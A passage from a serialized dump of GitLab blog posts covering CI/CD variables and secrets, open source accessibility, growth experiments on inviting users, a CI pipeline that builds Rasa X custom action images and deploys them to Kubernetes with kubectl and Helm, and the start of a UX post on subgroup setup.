variables when the job is running.\n\n## Predefined variables\n\nA number of variables are [predefined](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) when a GitLab CI/CD pipeline starts. A user can immediately access values for things like commit, project, or pipeline details without needing to define the variables themselves.\n\n## Custom CI/CD variables\n\n![Runners can create two kinds of custom CI/CD variables: Type and File.](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variable_types.jpeg)\n\nWhen creating a CI/CD variable in the settings, GitLab gives the user more configuration options for the variable. Use these extra configuration options for stricter control over more sensitive variables:\n\n**Environment scope:** If a variable only ever needs to be used in one specific environment, set it to only ever be available in that environment. For example, you can set a deploy token to only be available in the `production` environment.\n\n**Protected variables:** Similar to the environment scope, you can set a variable to be available only when the pipeline runs on a protected branch, like your default branch.\n\n**Variable type:** A few applications require configuration to be passed to it in the form of a file. If a user has an application that requires this configuration, just set the type of variable as a \"File\". Configuring the CI/CD variable this way means that when the runner makes the variable available in the environment, it actually writes it out to a temporary file, and stores the path to the file as the value. Next, a user can pass the path to the file to any applications that need it.\n\nAlong with the listed ways of defining and using variables, GitLab introduced a feature that generates pre-filled variables when there's a need to run a pipeline manually. Prefilled variables reduce the chances of running into an error and makes running the pipeline easier.\n\n**Masked variables:** [Masked variables](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable) are CI variables that have been **hidden in job logs** to prevent the variable’s value from being displayed. \n\n**Masked and hidden variables:** Introduced in [GitLab 17.4](https://about.gitlab.com/releases/2024/09/19/gitlab-17-4-released/#hide-cicd-variable-values-in-the-ui), [Masked and hidden](https://docs.gitlab.com/ee/ci/variables/#hide-a-cicd-variable) variables provide the same masking feature from job logs and **keep the value hidden** **in the Settings UI**. We do not recommend using either of these variables for sensitive data (e.g. secrets) as they can be inadvertently exposed. \n\n## Secrets\n\nA secret is a sensitive credential that should be kept confidential. Examples of a secret include:\n\n* Passwords  \n* SSH keys  \n* Access tokens  \n* Any other types of credentials where exposure would be harmful to an organization\n\nGitLab currently enables its users to [use external secrets in CI](https://docs.gitlab.com/ee/ci/secrets/), by leveraging HashiCorp Vault, Google Cloud Secret Manager, and Azure Key Vault to securely manage keys, tokens, and other secrets at the project level. This allows users to separate these secrets from other CI/CD variables for security reasons.\n\n### GitLab Secrets Manager\n\nBesides providing support for external secrets in CI, GitLab is also working on introducing a [native solution to secrets management](https://gitlab.com/groups/gitlab-org/-/epics/10108) to securely and conveniently store secrets within GitLab. This solution will also help customers use the stored secrets in GitLab specific components and environments, and easily manage access at namespace groups and projects level. \n\n## Read more\n* [GitLab native secrets manager to give software supply chain security a boost](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost/)\n\n***Disclaimer:** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.*\n",[1385,754,676,1384,110,696],{"slug":18938,"featured":6,"template":678},"demystifying-ci-cd-variables","content:en-us:blog:demystifying-ci-cd-variables.yml","Demystifying Ci Cd Variables","en-us/blog/demystifying-ci-cd-variables.yml","en-us/blog/demystifying-ci-cd-variables",{"_path":18944,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18945,"content":18950,"config":18955,"_id":18957,"_type":16,"title":18958,"_source":17,"_file":18959,"_stem":18960,"_extension":20},"/en-us/blog/how-the-open-source-community-can-build-more-accessible-products",{"title":18946,"description":18947,"ogTitle":18946,"ogDescription":18947,"noIndex":6,"ogImage":17267,"ogUrl":18948,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18948,"schema":18949},"Making open source software more accessible for everyone","The open source software community is built on the idea that everyone can contribute, and that includes people living with disabilities. GitLab team members share their ideas for building more accessible, open source software.","https://about.gitlab.com/blog/how-the-open-source-community-can-build-more-accessible-products","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the open source development community can build more accessible software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-04-07\",\n      }",{"title":18951,"description":18947,"authors":18952,"heroImage":17267,"date":18953,"body":18954,"category":813},"How the open source development community can build more accessible software",[17272],"2021-04-07","For [software to be considered open source](https://opensource.org/osd), it must not discriminate against any people, groups, or fields of endeavor. In other words, open source software must be available and accessible to all users, which includes people living with disabilities. In many ways, the open source community and technologists focused on accessibility are a natural pairing: The more accessible the product, the greater number of users benefit, and input from a diverse group of users is necessary to build a product that is truly accessible.\n\n\"A distinguishing feature of open source software versus proprietary software is that open source software tends to be used by a diverse community of users with different priorities, needs, use cases,\" says [Greg Myers](/company/team/#greg), support engineer at GitLab. \"I personally feel the more diverse and inclusive that community is, the better the end product is.\"\n\nEngineers that draw from the insights of the open source community when developing their software benefit from a broader set of inputs than those that work with a proprietary codebase. In many ways, the standards that define open source software overlap with the process of accessibility in software development.\n\n\"Accessibility aims to do the same thing, right? We want to make sure that as we're building software, we're building it with a diverse set of folks that are going to use it, and might want or need to use the technology in different ways,\" says [Brendan O’Leary](/company/team/#brendan), senior developer evangelist at GitLab.\n\n## Everyone can contribute to open source software\n\nThe greatest strength of the open source software community is the level of collaboration among a global set of users. [GitLab is an example of an open source software (OSS)](/solutions/open-source/) product that is continually fortified by the contributions of our community. Since [everyone can contribute](/company/mission/#mission) to improving our product, our team is exposed to many different ideas and perspectives.\n\n\"We're doing well because everybody can contribute to our mission,\" says Greg. \"If somebody has a feature request, a problem, or they find a bug – including if something's not accessible on our website, our documentation, or our software – they're invited to create an issue which will actually get passed along to our product team and get prioritized and acknowledged. Whereas that's not easily available in a lot of other companies and products.\"\n\n[Jeremy Elder](/company/team/#jeldergl) says that his work as a senior product desiger on the UX team at GitLab has benefitted from community contributions aimed at making GitLab features more accessible.\n\nAt GitLab, we have a few different [open source accessibility testing tools](/blog/introducing-accessibility-testing-in-gitlab/). We use [Pa11y](https://pa11y.org/), an open source accessibility tool, to [measure the accessibility of our website](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html). We also built a [simple CI job template that shares accessibility violations, warnings, and notices](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml). One of the projects Brendan worked on before moving to the developer evangelist team was [building the accessibility merge request widget](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html), which creates an accessibility report.\n\n\"There's a lot that you can do with automated testing and there's a limit, but it's by examining those limits that I think we can continue to get better and improve,\" says Brendan. We will discuss accessibility testing more in an upcoming blog post.\n\n## How the OSS community can improve accessibility in software development\n\nDespite these good intentions, when it comes to building technology that is accessible to all, the open source community sometimes falls short.\n\n\"We've been painting a pretty nice picture of the open source community, and having folks involved and contributing to accessibility,\" says Brendan. \"But I also think that the inverse happens a lot in open source when a project is maybe not as mature or it's just starting out. And accessibility is one of many things that gets put on the backburner as an afterthought.\"\n\nAccessibility is not an unsolved problem in software engineering. [There are plenty of open source accessibility solutions out there](https://www.digitala11y.com/open-source-accessibility-tools/), it’s just a matter of making accessibility a priority.\n\nJeremy mentions two ways the open source community can make accessibility more of a priority: prioritizing user experience and shifting accessibility left.\n\n\"I don't feel like there's enough visibility from a design and UX standpoint in open source,\" says Jeremy. One thing that is unique about GitLab is that design and code work closely together, he says, although this is not typical in many open source communities that are more focused on code than UX.\n\nOftentimes, when open source communities are building developer tools, they will focus less on user experience and more on code. The number of users that are able to access the software will be limited if accessible design is not prioritized.\n\n\"You still want to be thinking through, 'how is this going to be usable by people that may come at the problem differently', or have a different set of needs when they're using the tool,\" says Brendan.\n\nAnother opportunity for developers is to bring accessibility into the DevOps process early. Greg notes that the Linux community does a good job of ensuring accessibility features are available for all users.\n\n\"It doesn't seem to matter what distribution you run, there is a screen reader built-in and there are accessibility features included in Linux,\" says Greg.\n\nIn a popular blog post on Opensource.com, Linux user Spencer Hunley shares [six reasons why people with disabilities should use Linux](https://opensource.com/life/15/4/6-reasons-people-disabilities-should-use-linux). One of those reasons is the ability to customize and modify Linux software to meet the needs of the user.\n\n\"Being able to take existing technology and adapt it to suit one's needs—rather than forcing a person to adapt to the device and/or software—is a strength of open source software and Linux, and is extremely important for those who rely on a device to accomplish what others take for granted every day,\" says Spencer.\n\nThe reality is, if accessibility testing were to be an assumed and automated component of the DevOps pipeline, it would be much easier to fix fundamental accessibility problems earlier in the development process.\n\n## Accessibility benefits everyone\n\nOne of the common misconceptions about accessibility is that it primarily benefits people with disabilities. In the United States, the 1990 Americans with Disability Act (ADA) lead to innovations like curb cuts, wheelchair ramps, and automatic doors, which were designed to help people with mobility issues navigate the physical world, but benefits everyone. Similarly, accessible software benefits users with different abilities as well as non-disabled users. While building software that complies with laws like the [ADA for Accessible Design](https://www.ada.gov/2010ADAstandards_index.htm) is legally mandated, accessibility is also about making software adaptable to meet the preferences of different users. For example, some users might prefer to use keyboard enhancements so they can work faster, or they [prefer to use different shortcuts or quick actions](/blog/improve-your-gitlab-productivity-with-these-10-tips/) to develop in [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/).\n\nIn the context of software, inclusive design is really all about intentionally considering and meeting the needs of people with different abilities and workflow preferences — which results in a more accessible product. For software to be truly open source, it ought to be built with accessibility in mind so everyone can contribute.\n\nWatch the video below to see our conversation about the overlap between the open source community and accessibility, and check back in with the blog to read more about accessibility.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/nuMTD_FZ_H8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\"I'd love to hear more from anyone who's using open source web accessibility tooling,\" says Brendan. He invites GitLab users to share their ideas for improving accessibility features for our product by [opening an issue](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/new) in the `www-gitlab-com` project, and adding the `accessibility` label. Tag any one of the GitLab team members mentioned in this article and they will help triage the issue. If you have ideas for how to make GitLab more inclusive, open an issue today, and check out the [resources Jeremy compiled to learn more about accessibility](https://jeldergl.gitlab.io/accessibility-cache/).\n",{"slug":18956,"featured":6,"template":678},"how-the-open-source-community-can-build-more-accessible-products","content:en-us:blog:how-the-open-source-community-can-build-more-accessible-products.yml","How The Open Source Community Can Build More Accessible Products","en-us/blog/how-the-open-source-community-can-build-more-accessible-products.yml","en-us/blog/how-the-open-source-community-can-build-more-accessible-products",{"_path":18962,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18963,"content":18968,"config":18972,"_id":18974,"_type":16,"title":18975,"_source":17,"_file":18976,"_stem":18977,"_extension":20},"/en-us/blog/small-experiments-significant-results-and-learnings",{"title":18964,"description":18965,"ogTitle":18964,"ogDescription":18965,"noIndex":6,"ogImage":11919,"ogUrl":18966,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18966,"schema":18967},"Small experiments, significant results and learnings","How our Growth team validates design solutions with the smallest experiments possible","https://about.gitlab.com/blog/small-experiments-significant-results-and-learnings","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Small experiments, significant results and learnings\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2021-04-07\",\n      }",{"title":18964,"description":18965,"authors":18969,"heroImage":11919,"date":18953,"body":18970,"category":18484,"tags":18971},[18742],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nA while ago, I worked closely with the Growth:Expansion team on improving the experience of inviting users to GitLab. I first went through the existing experience of a user that’s inviting their team to GitLab and found a few opportunities for improvements. The work could have ended there, but I felt uneasy about it in the days after completing it. I felt that there was more to it, so I dug in again. This time, I wanted to explore what the experience was across many users involved in the process, instead of just the inviting user.\n\n## Multi-user journey map\n\nSo instead of mapping out a single-user journey map, I mapped out the journey as it was then for all the users involved. I came up with the following:\n\n![Multi-user journey map](https://about.gitlab.com/images/blogimages/small-experiments/multi-user-journey.png)\n\nTake a look at the [multi-user journey map on Mural](https://app.mural.co/t/gitlab2474/m/gitlab2474/1588920686905/a2982098783c967cee6f7e656fffe574dec0777b).\n\nI wanted to see what it was like for non-admin users to invite their team to GitLab or assign some work to them (not all managers and leads are admin users). So a non-admin user wants to assign an issue to a team member that isn’t on GitLab yet. There are three users involved: the non-admin user trying to assign some work, the admin user who is the only one who can invite new users and the user that is being invited.\nThe main conclusion of this multi-user journey map? There are many interruptions and a lot of waiting time between the steps. Such a simple task as assigning an issue to a team member can span across days because of these interruptions.\n\nThe other conclusion of this work was that it was hard to find out how to invite users to GitLab, especially for new teams trying to adopt GitLab.\n\nSo we came up with a problem to solve:\n\n> Can we make it easier for new teams to invite their team members?\n\nand a question to answer:\n\n> Would non-admin users request invitations to their team members if they could?\n\n## Making it easier for new teams to invite their team members\nWe started with the smaller problem as it was a great candidate to do a MVC (minimal viable change) experiment and learn a lot from it. The concept of the solution was simple: increase the discoverability of the *invite members* feature. After some thought, I realized that the best place for this was the Assignee dropdown that we use on issues and merge requests. It’s at the top of the right sidebar, which means it’s quite prominent, but more importantly, it is a commonly used feature related to team management.\n\nSo we decided that the most minimal experiment we could do was to add the “Invite members” link to the bottom of that dropdown and link directly to the *Settings* → *Members* page of the project. That’s the page where admin users can invite new users.\n\n![Assignee dropdown](https://about.gitlab.com/images/blogimages/small-experiments/assignee-dropdown.png){: .small.center}\n\n[Here’s the prototype](https://www.sketch.com/s/e96544d1-f2c7-45d5-a968-23e63064432d/a/bD9885/play) of the experience we tested. After crunching the numbers of the experiment we saw the following results:\n\n- Only a 0.16% click-through rate on the “Invite members” link in the dropdown\n- But a 2% increase in namespaces with two or more users\nThis was significant because we only showed the new “Invite members” link to admin users. So the low click-through rate makes sense as the majority of users viewing the assignee are not admins and therefore did not see our test \"invite members\" option. However, even with a low click-through rate, the change in the metric that mattered most saw a 2% increase. Which is a considerable increase on its own! But we’re just getting started.\n\n## Do non-admin users want to invite their team members?\n\nNow we come to the question that we uncovered during the mapping of the multi-user journey. There’s a lot of waiting time and disruptions in the process of inviting a new user to GitLab. Especially when a non-admin user wants to do it. So we decided to run a similar experiment where we show the “Invite members” link in the assignee dropdown to non-admin users too.\nFollowing our MVC approach to conducting experiments, we wanted to run a minimal experiment that would help us answer this question. Instead of taking the time to build a complete experience for non-admin users requesting invitations from admin users, we decided to show a modal explaining that this feature isn’t available yet. We also added a link that would take the non-admin user to the *Settings* → *Members* page, where they can see who the admin is and contact them outside of GitLab (for now).\n\n![Modal not ready](https://about.gitlab.com/images/blogimages/small-experiments/modal-not-ready.png)\nIt’s not the ideal experience, but the potential for learning justified it. Plus, we only show an experiment like this to a fraction of our users. The experiment has only been running for a few weeks, so it’s too early for conclusions. But we’re seeing encouraging results already, some suggest even up to a 20% increase in namespaces with two or more users so yes, it seems that non-admin users do want to invite their team members.\n\n## Other improvements and follow-up experiments\nOne major improvement that our engineers have been working on is the “Invite members” modal. Instead of taking the user out of their workflow and into the *Settings* → *Members* page, they’ll be able to invite team members within their current workflow.\n\n![Modal invite form](https://about.gitlab.com/images/blogimages/small-experiments/modal-invite.jpg)\n\n[This is a prototype](https://www.sketch.com/s/e96544d1-f2c7-45d5-a968-23e63064432d/a/wmOa8m/play) of what the experience would be like with the invite modal.\n\n## Conclusion\n\nThese experiments are the first among many that we want to conduct. We’re also thinking about allowing non-admin users to request a free trial, activation of a feature, switching to a higher plan from their admin all while potentially giving the admin the ability to turn this functionality off and on as needed. The experiments we conducted so far are indicating that there’s a demand for non-admin users to be able to request things limited to admins. And most importantly, they were minimal experiments that led to significant results and great learnings.\n\nFor more details about these experiments check\n* [the original experiment design issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217921)\n* [the follow-up experiment design issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235979)\n* [the video recording of experiment and results discussion between me and Sam Awezec](https://www.youtube.com/watch?v=J5h_SNH3Nt8&ab_channel=GitLabUnfiltered) (the Product Manager of Growth:Expansion)\n\nPhoto by [Evgeni Tcherkasski](https://unsplash.com/@evgenit?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/small?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[9297,676,2249],{"slug":18973,"featured":6,"template":678},"small-experiments-significant-results-and-learnings","content:en-us:blog:small-experiments-significant-results-and-learnings.yml","Small Experiments Significant Results And Learnings","en-us/blog/small-experiments-significant-results-and-learnings.yml","en-us/blog/small-experiments-significant-results-and-learnings",{"_path":18979,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18980,"content":18986,"config":18992,"_id":18994,"_type":16,"title":18995,"_source":17,"_file":18996,"_stem":18997,"_extension":20},"/en-us/blog/custom-actions-rasa-gitlab-devops",{"title":18981,"description":18982,"ogTitle":18981,"ogDescription":18982,"noIndex":6,"ogImage":18983,"ogUrl":18984,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18984,"schema":18985},"Creating custom action containers for Rasa X with GitLab","Using the GitLab DevOps Platform together with Rasa X can make it easier for stakeholders to deliver a virtual assistant by automating potentially time-consuming, error-prone steps. In this case, we’ve shown how you can build Rasa custom action servers and deploy them to Kubernetes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668410/Blog/Hero%20Images/vablog.jpg","https://about.gitlab.com/blog/custom-actions-rasa-gitlab-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Create and Deploy Custom Actions Containers to Rasa X using Gitlab DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2021-04-06\",\n      }",{"title":18987,"description":18982,"authors":18988,"heroImage":18983,"date":18989,"body":18990,"category":962,"tags":18991},"Create and Deploy Custom Actions Containers to Rasa X using Gitlab DevOps Platform",[8213],"2021-04-06","\n**This blog post was a collaboration between William Arias, from Gitlab, and Vincent D. Warmerdam, from Rasa. You can find the same blog post on [Rasa's blog](https://blog.rasa.com/create-and-deploy-custom-actions-containers-to-rasa-x-using-gitlab-devops-platform/)**.  \n\n## Create and Deploy Custom Actions Containers to Rasa X using Gitlab DevOps Platform\nVirtual assistants do more than just carry on conversations. They can send emails, make updates to a calendar, or call an API endpoint. Essentially, they can do actions that add significant value and convenience to the user experience.\nIn assistants built with Rasa*, this type of functionality is executed by custom code called custom actions. As with any code you run in production, you’ll need to think about how you want to deploy updates to custom actions. In this blog post, we’ll show you how to set up GitLab to deploy custom action Docker containers to your Kubernetes cluster. If we follow [good DevOps practices](/stages-devops-lifecycle/) we can greatly speed up the development and quality of our  virtual assistants.\n* Rasa Open Source is a machine learning framework for building text and voice-based virtual assistants. It provides infrastructure for understanding messages, holding conversations, and connecting to many messaging channels and APIs. Rasa X is a toolset that runs on top of Rasa Open Source, extending its capabilities. Rasa X includes key features for sharing the assistant with test users, reviewing and annotating conversation data, and deploying the assistant. [Learn more about Rasa.](https://rasa.com/docs/)\n\n## Deployment high-level overview\nThe typical workflow for deploying a new version of custom actions is outlined below.  \n![actions-process](https://about.gitlab.com/images/blogimages/actions-process.png){: .shadow}\n\nEvery change to your custom actions code will require a new container image to be built and pulled by Rasa X. Gitlab CI/CD can save you from doing a lot of manual work and automate steps like the ones described in the workflow above. Let's see how to do it.  \n\n## Using Rasa with Gitlab DevOps Platform\nLet's create a pipeline that will automate manual steps.\n\n---\n**NOTE**\nThis article assumes you have your [Gitlab Project](https://gitlab.com/warias/gl-commit-2020) with your customs Actions Code created along with a [Google Kubernetes Cluster](https://cloud.google.com/kubernetes-engine/docs/quickstart).\n\n---\n\nIf you are a Gitlab user you are probably familiar with .gitlab-ci.yml file and its CI/CD capabilities. Every time you commit a change to your customs actions code you want Gitlab to run a script that will build and update your docker containers. \n![actions-process-2](https://about.gitlab.com/images/blogimages/process2.png){: .shadow}\n\nLet's breakdown the CI/CD pipeline by describing the gitlab-ci.yml file so you can use it and customize it to your needs\n## Variables\nWe make use of environment variables created in Gitlab at the moment of running the Jobs to define our actions Docker image  \n\n```\nvariables:\n    ACTIONS_CONTAINER_IMAGE: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG\n    TAG: $CI_COMMIT_SHA\n    K8S_SECRET: secret-gitlab-registry\n\n```\n\nThe snippet above does the following:\n- It defines the name of the Docker Image for custom actions using environment variables ```$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG.``` This will make the name of the Docker image different for every commit\n- It creates a secret used to pull the Rasa Action Image from the Gitlab Private Registry to the Google Kubernetes Cluster. \n\n## Stages\nWe have two main stages in our pipeline, build and deploy:\n```\nstages:\n  - build\n  - deploy \n```\nEvery time there is a new commit with changes to our custom actions code, or when we decide to run the CI/CD Pipeline it will:\n- Build: Here, we automate the building of the Docker image using the variables defined above, and the Dockerfile. We also tag the image and push it to the GitLab container registry.\n- Deploy: Here we log-in to Kubernetes Engine on Google Cloud and deploy the newly created Actions image to Rasa X.\nLet's see it in more detail:  \n\n**Build**:\n```\nbuild-actions-image:\n image: docker:19.03.1\n services:\n   - docker:dind\n stage: build\n script:\n   - docker login -u ```$CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY```\n   - docker build -t $ACTIONS_CONTAINER_IMAGE:$TAG -f Dockerfile .\n   - docker push $ACTIONS_CONTAINER_IMAGE:$TAG\n```\nThe job build-actions-image executed on the build stage takes advantage of the CI/CD variables that are part of the environment where the pipelines run. It automates the usage of Docker commands to build the Actions image by reading its corresponding Dockerfile. The output of this stage is a new Custom Actions image per every commit with code changes.  \n\n**Deploy**:\n```\ndeploy-custom-action-x:\n  stage: deploy\n  image: crileroro/gcloud-kubectl-helm\n  variables:\n    GCP_PROJECT: gke-project-302411\n    GCP_REGION: europe-west1\n    CLUSTER_NAME: gke-python-demo\n    NAMESPACE_RASA: rasa-environment \n  before_script:\n    - gcloud auth activate-service-account --key-file $SERVICE_ACCOUNT_GCP\n    - gcloud config set project $GCP_PROJECT\n    - gcloud config set compute/region $GCP_REGION\n    - gcloud container clusters get-credentials $CLUSTER_NAME\n  script:\n    - kubectl create ns $NAMESPACE_RASA --dry-run=client -o yaml | kubectl apply -f -\n    - kubectl create secret docker-registry $K8S_SECRET\n              --docker-server=$CI_REGISTRY\n              --docker-username=$CI_DEPLOY_USER\n              --docker-password=$CI_DEPLOY_PASSWORD\n              --namespace $NAMESPACE_RASA\n              -o yaml --dry-run=client | kubectl apply -f -\n    - helm repo add rasa-x https://rasahq.github.io/rasa-x-helm\n    - helm upgrade -i --reuse-values \n                      --namespace $NAMESPACE_RASA\n                      --set app.name=$ACTIONS_CONTAINER_IMAGE\n                      --set app.tag=$TAG \n                      --set images.imagePullSecrets[0].name=$K8S_SECRET rasa-x rasa-x/rasa-x\n```\n\nNotice the variables in ```before_script```, these ones are needed to authenticate to GCP where we have our Kubernetes cluster. This step is optional and could be skipped in cases where you have [Gitlab pre-integrated](https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html) with your Kubernetes cluster running on Google Cloud.  \n\nThe main and most interesting part of the script is:  \n```\nscript:\n    - kubectl create ns $NAMESPACE_RASA --dry-run=client -o yaml | kubectl apply -f -\n    - kubectl create secret docker-registry $K8S_SECRET\n              --docker-server=$CI_REGISTRY\n              --docker-username=$CI_DEPLOY_USER\n              --docker-password=$CI_DEPLOY_PASSWORD\n              --namespace $NAMESPACE_RASA\n              -o yaml --dry-run=client | kubectl apply -f -\n    - helm repo add rasa-x https://rasahq.github.io/rasa-x-helm\n    - helm upgrade -i --reuse-values \n                      --namespace $NAMESPACE_RASA\n                      --set app.name=$ACTIONS_CONTAINER_IMAGE\n                      --set app.tag=$TAG \n                      --set images.imagePullSecrets[0].name=$K8S_SECRET rasa-x rasa-x/rasa-x\n\n```\n\nWe start by creating the *namespace* for our custom actions code, and if it already exists, then we proceed to apply Kubernetes commands using kubectl and helm.  \n```\nhelm repo add rasa-x https://rasahq.github.io/rasa-x-helm\n    - helm upgrade -i --reuse-values \n                      --namespace $NAMESPACE_RASA\n                      --set app.name=$ACTIONS_CONTAINER_IMAGE\n                      --set app.tag=$TAG \n                      --set images.imagePullSecrets[0].name=$K8S_SECRET rasa-x rasa-x/rasa-x\n```\nThe snippet above adds a rasa-x Helm chart and upgrades or changes the values corresponding to the new **Custom Action Image** by assigning to it the ```$ACTIONS_CONTAINER_IMAGE``` created in the build stage.\nNote that the pipeline described above focuses only on creating and deploying the ACTIONS_CONTAINER_IMAGE. It could be extended by adding more stages, for example, code quality, security testing, and unit testing among others.  \n\n## Summary\nUsing the GitLab DevOps Platform together with Rasa X can make it easier for stakeholders to deliver a virtual assistant by automating potentially time-consuming, error-prone steps. In this case, we’ve shown how you can build Rasa custom action servers and deploy them to Kubernetes.\nPushing new custom action containers to Kubernetes only scratches the surface of what you can automate with GitLab. You could also add steps for code quality, security audits and unit tests. The main goal is to automate the manual parts of deployment so that you can focus on what is important. In the case of Rasa X, that means that more time can be spent learning from your users and making a better assistant in the process.\n\nDo you want to learn more? Watch this video of Gitlab DevOps Platform and Rasa [Deploy your Rasa Chatbots like a boss with DevOps](https://youtu.be/ko9-zPDuhQo)\n\nHappy hacking!\n\nCover image by [Eric Krull](https://unsplash.com/@ekrull?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[1384,3949,4103],{"slug":18993,"featured":6,"template":678},"custom-actions-rasa-gitlab-devops","content:en-us:blog:custom-actions-rasa-gitlab-devops.yml","Custom Actions Rasa Gitlab Devops","en-us/blog/custom-actions-rasa-gitlab-devops.yml","en-us/blog/custom-actions-rasa-gitlab-devops",{"_path":18999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19000,"content":19005,"config":19011,"_id":19013,"_type":16,"title":19014,"_source":17,"_file":19015,"_stem":19016,"_extension":20},"/en-us/blog/dont-hide-primary-actions",{"title":19001,"description":19002,"ogTitle":19001,"ogDescription":19002,"noIndex":6,"ogImage":12013,"ogUrl":19003,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19003,"schema":19004},"Don't hide primary actions","In our testing, we found there was confusion in setting up subgroups with a wide range of research participants. We wanted to reduce confusion in setting up subgroups in GitLab.","https://about.gitlab.com/blog/dont-hide-primary-actions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Don't hide primary actions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Mora\"}],\n        \"datePublished\": \"2021-04-01\",\n      }",{"title":19001,"description":19002,"authors":19006,"heroImage":12013,"date":19008,"body":19009,"category":18484,"tags":19010},[19007],"Daniel Mora","2021-04-01","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\u003C!-- ![Image of Batman stroking his chin in contemplation](https://media.giphy.com/media/a5viI92PAF89q/giphy.gif){: .shadow.right.wrap-text} -->\nOrganizing your projects into groups within GitLab should be a simple matter for new users. We conducted a Category Maturity Scorecard validation to see how we were correct to assume that it was easy to model your organization in GitLab so that teams could have clear boundaries between other groups. What we found during our initial testing, however, was far off from this assumption.\n\n### Problem\nLooking at this organization chart, we assumed our test participants would have no trouble creating this structure in a test environment.\n\n[![](https://mermaid.ink/img/eyJjb2RlIjoiZ3JhcGggVERcbiAgQVtJbmZvcm1hdGlvbiBUZWNobm9sb2d5IGFuZCBEYXRhIEFuYWx5dGljc10gXG4gIEEgLS0-IEVbSVQgRGlnaXRhbCBTZXJ2aWNlc11cbiAgRSAtLT4gRltEaWdpdGFsIFRyYW5zZm9ybWF0aW9uIEVudmlyb25tZW50XVxuICAgIEYgLS0-IE1bUHJvamVjdCBBbHBoYV1cbiAgICBGIC0tPiBOW1Byb2plY3QgQmV0YV1cbiAgICBGIC0tPiBPW1Byb2plY3QgQ29yZV1cbiAgRSAtLT4gR1tBcHBsaWNhdGlvbiBEYXRhYmFzZSBTZXJ2aWNlc11cbiAgRSAtLT4gSFtCdXNpbmVzcyBQcm9jZXNzIE1hbmFnZW1lbnRdXG4gICBIIC0tPiBQW1Byb2plY3QgWmV0YV1cbiAgIEggLS0-IExbUHJvamVjdCBCbGFua10iLCJtZXJtYWlkIjp7fSwidXBkYXRlRWRpdG9yIjpmYWxzZX0)](https://mermaid-js.github.io/mermaid-live-editor/#/edit/eyJjb2RlIjoiZ3JhcGggVERcbiAgQVtJbmZvcm1hdGlvbiBUZWNobm9sb2d5IGFuZCBEYXRhIEFuYWx5dGljc10gXG4gIEEgLS0-IEVbSVQgRGlnaXRhbCBTZXJ2aWNlc11cbiAgRSAtLT4gRltEaWdpdGFsIFRyYW5zZm9ybWF0aW9uIEVudmlyb25tZW50XVxuICAgIEYgLS0-IE1bUHJvamVjdCBBbHBoYV1cbiAgICBGIC0tPiBOW1Byb2plY3QgQmV0YV1cbiAgICBGIC0tPiBPW1Byb2plY3QgQ29yZV1cbiAgRSAtLT4gR1tBcHBsaWNhdGlvbiBEYXRhYmFzZSBTZXJ2aWNlc11cbiAgRSAtLT4gSFtCdXNpbmVzcyBQcm9jZXNzIE1hbmFnZW1lbnRdXG4gICBIIC0tPiBQW1Byb2plY3QgWmV0YV1cbiAgIEggLS0-IExbUHJvamVjdCBCbGFua10iLCJtZXJtYWlkIjp7fSwidXBkYXRlRWRpdG9yIjpmYWxzZX0)\n\nSadly, this was not the case:\n- Five test participants could not complete the task in 30 minutes.\n- One confused the difference between Groups versus Projects but could (inaccurately) recreate the structure in GitLab in approximately 3 minutes.\n- Only one person was able to complete the task accurately in around 3 minutes.\n\n\u003C!-- ![Image of a young woman cringing](https://media.giphy.com/media/3FBwwRCNTSa52/giphy.gif){: .shadow.center} -->\n\n### Observations\nThe primary problem we found 